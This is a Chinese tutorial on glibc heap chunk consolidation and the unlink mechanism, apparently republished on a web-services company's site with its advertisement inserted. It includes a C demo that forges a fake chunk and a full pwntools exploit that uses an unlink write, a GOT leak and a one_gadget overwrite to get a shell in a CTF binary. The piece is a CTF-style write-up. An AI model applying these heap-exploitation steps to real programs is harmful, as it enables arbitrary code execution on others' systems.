今天就跟大家聊聊有關(guān)如何進(jìn)行Glibc堆塊的向前向后合并與unlink原理機(jī)制探究,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。
成都創(chuàng)新互聯(lián)于2013年創(chuàng)立,是專業(yè)互聯(lián)網(wǎng)技術(shù)服務(wù)公司,擁有項(xiàng)目成都網(wǎng)站建設(shè)、做網(wǎng)站網(wǎng)站策劃,項(xiàng)目實(shí)施與項(xiàng)目整合能力。我們以讓每一個(gè)夢想脫穎而出為使命,1280元大祥做網(wǎng)站,已為上家服務(wù),為大祥各地企業(yè)和個(gè)人服務(wù),聯(lián)系電話:028-86922220
Unlink是把free掉的chunk從所屬的bins鏈中,卸下來的操作(當(dāng)然還包括一系列的檢測機(jī)制),它是在free掉一塊chunk(除fastbin大小的chunk外)之后,glibc檢查這塊chunk相鄰的上下兩塊chunk的free狀態(tài)之后,做出的向后合并或者向前合并引起的。
p是指向free掉的chunk的指針(注意不是指向data的指針,是chunk),size是這塊chunk的size。
/* consolidate backward */4277 if (!prev_inuse(p)) {4278 prevsize = prev_size (p);4279 size += prevsize;4280 p = chunk_at_offset(p, -((long) prevsize));4281 unlink(av, p, bck, fwd);4282 }4283 4284 if (nextchunk != av->top) {4285 /* get and clear inuse bit */4286 nextinuse = inuse_bit_at_offset(nextchunk, nextsize);4287 4288 /* consolidate forward */4289 if (!nextinuse) {4290 unlink(av, nextchunk, bck, fwd);4291 size += nextsize;4292 } else4293 clear_inuse_bit_at_offset(nextchunk, 0);42944295 /* 4296 Place the chunk in unsorted chunk list. Chunks are 4297 not placed into regular bins until after they have 4298 been given one chance to be used in malloc. 4299 */4300 4301 bck = unsorted_chunks(av);4302 fwd = bck->fd;4303 if (__glibc_unlikely (fwd->bk != bck))4304 malloc_printerr ("free(): corrupted unsorted chunks");4305 p->fd = fwd;4306 p->bk = bck;4307 if (!in_smallbin_range(size))4308 {4309 p->fd_nextsize = NULL;4310 p->bk_nextsize = NULL;4311 }4312 bck->fd = p;4313 fwd->bk = p;4314 4315 set_head(p, size | PREV_INUSE);4316 set_foot(p, size);4317 4318 check_free_chunk(av, p);4319 }4320 4321 /* 4322 If the chunk borders the current high end of memory, 4323 consolidate into top 4324 */4325 4326 else {4327 size += nextsize;4328 set_head(p, size | PREV_INUSE);4329 av->top = p;4330 check_chunk(av, p);4331 }
向后合并部分的代碼在4277-4282行
向后合并流程:
檢查p指向chunk的size字段的pre_inuse位,是否為0(也就是檢查當(dāng)前chunk的前一塊chunk是否是free的,如果是則進(jìn)入向前合并的流程)
獲取前一塊chunk的size,并加到size中(以此來表示size大小上已經(jīng)合并)
根據(jù)當(dāng)前chunk的presize來獲得指向前一塊chunk的指針
將這個(gè)指針傳入unlink的宏(也就是讓free掉的chunk的前一塊chunk進(jìn)入到unlink流程)
如果free掉的chunk相鄰的下一塊chunk(下面用nextchunk表示,并且nextsize表示它的大小)不是topchunk,并且是free的話就進(jìn)入向前合并的流程。(見代碼4284-4289行)
如果nextchunk不是free的,則修改他的size字段的pre_inuse位。
如果nextchunk是topchunk則和topchunk進(jìn)行合并。
ps:檢測nextchunk是否free,是通過inuse_bit_at_offset(nextchunk, nextsize)來獲得nextchunk的相鄰下一塊chunk的size字段的presize位實(shí)現(xiàn)的。
向前合并流程(見代碼4290-4291):
讓nextchunk進(jìn)入unlink流程
給size加上nextsize(同理也是表示大小上兩個(gè)chunk已經(jīng)合并了)
unlink是個(gè)宏,但是在讀代碼的時(shí)候請把bk和fd當(dāng)作變量。
ps:p是指向chunk的指針。
#define unlink(AV, P, BK, FD) { if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) malloc_printerr ("corrupted size vs. prev_size"); FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr ("corrupted double-linked list"); else { FD->bk = BK; BK->fd = FD; if (!in_smallbin_range (chunksize_nomask (P)) && __builtin_expect (P->fd_nextsize != NULL, 0)) { if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) malloc_printerr ("corrupted double-linked list (not small)"); if (FD->fd_nextsize == NULL) { if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD; else { FD->fd_nextsize = P->fd_nextsize; FD->bk_nextsize = P->bk_nextsize; P->fd_nextsize->bk_nextsize = FD; P->bk_nextsize->fd_nextsize = FD; } } else { P->fd_nextsize->bk_nextsize = P->bk_nextsize; P->bk_nextsize->fd_nextsize = P->fd_nextsize; } } \ } }
檢查當(dāng)前chunk的size字段與它相鄰的下一塊chunk中記錄的pre_size是否一樣如果不一樣,就出現(xiàn)corrupted size vs. prev_size的錯(cuò)誤
檢查是否滿足p->fd->bk==p和p->bk->fd==p,否則出現(xiàn)corrupted double-linked list,錯(cuò)誤。
解鏈操作:fd->bk=bk和bk->fd=fd(學(xué)過循環(huán)雙鏈表的都能看懂吧)
這里配上一張CTFwiki的圖:接下來的代碼其實(shí)是對largechunk的一系列檢測和處理機(jī)制,這里可以不用管,一般實(shí)戰(zhàn)利用的時(shí)候都是對smallchunk進(jìn)行利用的。
以上就是unlink的操作,本質(zhì)上就是從glibc管理的bin鏈中解鏈以及解鏈前的安全檢查(防止被利用)
那unlink之后又做了什么呢?
不管是向前合并還是向后合并,unlink后都會來到4301-4318行。
其實(shí)做的是,將合并好的chunk加入到unsorted bin中第一個(gè)
并且如果這個(gè)chunk是samll chunk大小的話它是沒有fd_nextsize和bk_nextsize的
然后就設(shè)置合并過后的chunk的頭部(設(shè)置合并過后的size,已經(jīng)合并形成的chunk的下一塊chunk的pre_size字段)
理論上面已經(jīng)談過了,butTalk is cheap,Debug is real!先來個(gè)小demo結(jié)合上面的原理感受下。
#include#include #include #include struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding};int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20]; // First grab two chunks (non fast) chunk1 = malloc(0x80); chunk2 = malloc(0x80); printf("%p\n", &chunk1); printf("%p\n", chunk1); printf("%p\n", chunk2); // Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header // First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P // Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x80; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("%p\n", chunk1); printf("%x\n", chunk1[3]); chunk1[3] = (unsigned long long)data; strcpy(data, "Victim's data"); // Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL; printf("%s\n", data); return 0; }
ps:**在這個(gè)Demo中假定chun1的數(shù)據(jù)內(nèi)容是被攻擊者可控的并且可以溢出修改到下面一個(gè)chunk
先malloc兩個(gè)chunk,然后看看他們的地址
然后在chunk1中偽造一個(gè)chunk,使得fake_chunk->fd->bk==fakechunk和fake_chunk->bd->fd==fake_chunk來避過corrupted double-linked list檢測。
因?yàn)橐沟胒ake_chunk->fd—>bk==fakechunk的話,要使得fake_chunk->fd里面存的是存有chunk1的地址的變量往上偏移0x18,同理fake_chunk->bk也是要網(wǎng)上偏移0x10的。然后修改好chunk2的presize字段為0x80就是chunk1的數(shù)據(jù)大?。ㄓ脕肀苓^corrupted size vs. prev_size檢測的),和size字段的preinuse位為0(),從而達(dá)到欺騙glibc的機(jī)制,讓它一位chunk2的前一塊chunk(也就是chunk1)是free的,并且滿足unlink所有的安全機(jī)制。這時(shí)候free掉chunk2的話就會觸發(fā)向后合并??匆豢碿hunk1和chunk2的情況。以及完全構(gòu)造好了。接下來就是free(chunk2)觸發(fā)unlink。觸發(fā)之后
chunk1的內(nèi)容變成了&chunk1-3了。
這是因?yàn)閒ake_chunk->bk->fd=fake_chunk->fd,前面已經(jīng)講過fake_chunk->bk->fd指的是chunk1,而fake_chunk->fd指的是&chunk1-0x10.所以一unlink過后,chunk1里邊存的是&chunk1-0x10的地址。
看看里邊的內(nèi)容:畫線的地方是chunk2存的內(nèi)容,無疑是棧上的東西了。而它前一個(gè)8字節(jié)存的就是chunk1存的地址0x00007fffffffdcb8,對吧自己算算地址,不就是&chunk1-0x18了么?
經(jīng)過原理探究和demo調(diào)試,心中已經(jīng)對unlink有感覺了吧,再來道題,練練應(yīng)該就沒問題了吧。
在網(wǎng)上找了一個(gè)題,拖進(jìn)ida看看
主菜單如圖。關(guān)鍵部分是:**添加**,**刪除**,**顯示**,**編輯**
**添加**:
總共可以添加99個(gè)chunk,然后根據(jù)輸入的lenth(長度沒有限制),然后申請內(nèi)存并記錄在全局變量中,并且lenth也是記錄在全局變量中的,然后往內(nèi)存中讀入內(nèi)容。
**刪除**:
根據(jù)輸入的index,free掉對應(yīng)的塊,并將記錄的地址和lenth清零??磥頉]有uaf。
**顯示**:
直接遍歷全局變量數(shù)組,打印對應(yīng)內(nèi)存的內(nèi)容,可以用來泄露地址。
**編輯**:
根據(jù)輸入的index和lenth來修改chunk的內(nèi)容。(lenth是我們自己控制的,所以存在溢出修改)
綜上分析,選擇的思路是:
構(gòu)造兩個(gè)相鄰塊,來實(shí)現(xiàn)unlink的操作。
當(dāng)時(shí)要要注意unlink的檢測條件,所以申請了連續(xù)4個(gè)chunk,用index為1和2的chunk來構(gòu)造Unlink所需的chunk。
unlink之后,存有index為2的指針變量就會指向他的地址-0x18處。然后通過edit index2,修改全局變量數(shù)組的內(nèi)容為got表地址,從而泄露,然后再查查庫,之后就好利用了,我這里使用的是one_gadget覆蓋puts的got表.
**exp**:
```
from pwn import *
context.log_level="debug"
def add(len,content):
p.recvuntil("choice:")
p.send("2")
p.recvuntil("name:")
p.send(str(len))
p.recvuntil("servant:")
p.send(content)
def change(index,len,content):
p.recvuntil("choice:")
p.send("3")
p.recvuntil("servant:")
p.send(str(index))
p.recvuntil("name:")
p.send(str(len))
p.recvuntil("servnat:")
p.send(content)
def free(index):
p.recvuntil(":")
p.send("4")
p.recvuntil("servant:")
p.send(str(index))
def show():
p.recvuntil("ce:")
p.send("1")
libc=ELF("libc.so")
puts_got=0x602020
free_got=0x602018
binsh="/bin/sh"
ptr=0x6020e8
p=process("./pwn13")
add(0xf0,"aaa")
add(0xf0,"bbb")
add(0xf0,"ccc")
add(0xf0,"ddd")
change(2,0xf8,p64(0x110)+p64(0xf1)+p64(ptr-0x18)+p64(ptr-0x10)+(0xf8-0x28)*"a"+p64(0xf0)+p64(0xf0))
change(0,0x100,"a"*0xf8+p64(0x111))
free(1)
change(2,0x10,p64(0xf0)+p64(free_got))
show()
p.recvuntil("1 : ")
free_addr=u64(p.recv(6).ljust(8,'\0'))
print "free:"+hex(free_addr)
one_gadet=free_addr-libc.symbols['free']+0x45216
puts_addr=free_addr-libc.symbols['free']+libc.symbols['puts']
change(1,0x16,p64(puts_addr)+p64(one_gadet))
p.interactive()
看完上述內(nèi)容,你們對如何進(jìn)行Glibc堆塊的向前向后合并與unlink原理機(jī)制探究有進(jìn)一步的了解嗎?如果還想了解更多知識或者相關(guān)內(nèi)容,請關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝大家的支持。